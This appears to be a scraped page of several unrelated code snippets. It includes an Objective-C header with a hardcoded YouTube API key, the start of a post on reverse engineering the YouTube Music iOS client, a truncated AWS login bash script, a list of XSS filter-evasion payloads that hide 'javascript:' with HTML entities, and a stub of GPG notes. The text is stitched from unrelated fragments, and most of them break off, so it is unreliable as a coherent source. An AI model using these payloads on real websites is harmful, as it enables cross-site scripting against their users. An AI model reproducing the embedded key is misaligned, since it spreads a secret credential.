leptos-null

//
//  LMApiaryDeviceCrypto.h
//
//  Created by Leptos on 11/18/18.
//  Copyright © 2018 Leptos. All rights reserved.
//

#import <Foundation/Foundation.h>

#define kYouTubeBase64EncodedProjectKey @"vOU14u6GkupSL2pLKI/B7L3pBZJpI8W92RoKHJOu3PY="

leptos-null

Writing an iOS YouTube Music client

I’ve been using YouTube Music as my main music streaming service for almost a year and a half. The iOS client is great- I’ve never had a single complaint. It’s potentially one of the most bug free apps I’ve ever used, it has an extremely friendly, and simple, graphical interface, and the service itself is great.

I was curious how the client worked in terms of networking, and while curiosity may treat cats poorly, it lands researchers in black sites can provide a lot of insight.

Step 0

The first thing I do when reverse engineering a client is monitor HTTP requests while the application starts up, and when doing the tasks interested in. On a jailbroken iOS device, I use FLEX by FlipBoard.

enly1

#!/bin/bash

function awslogin {
    # set to yes to create one-time use profiles in /tmp
    # anything else will create them in $HOME/.aws/awschrome
    TEMP_PROFILE="no"

    # set to yes to always start in a new window
    NEW_WINDOW="no"

hackerscrolls

<!--javascript -->
ja&Tab;vascript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()

<!--::colon:: -->
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)

steinybot

GPG Commands

Miscellaneous

HP laptop boot loader menu key: F9

List

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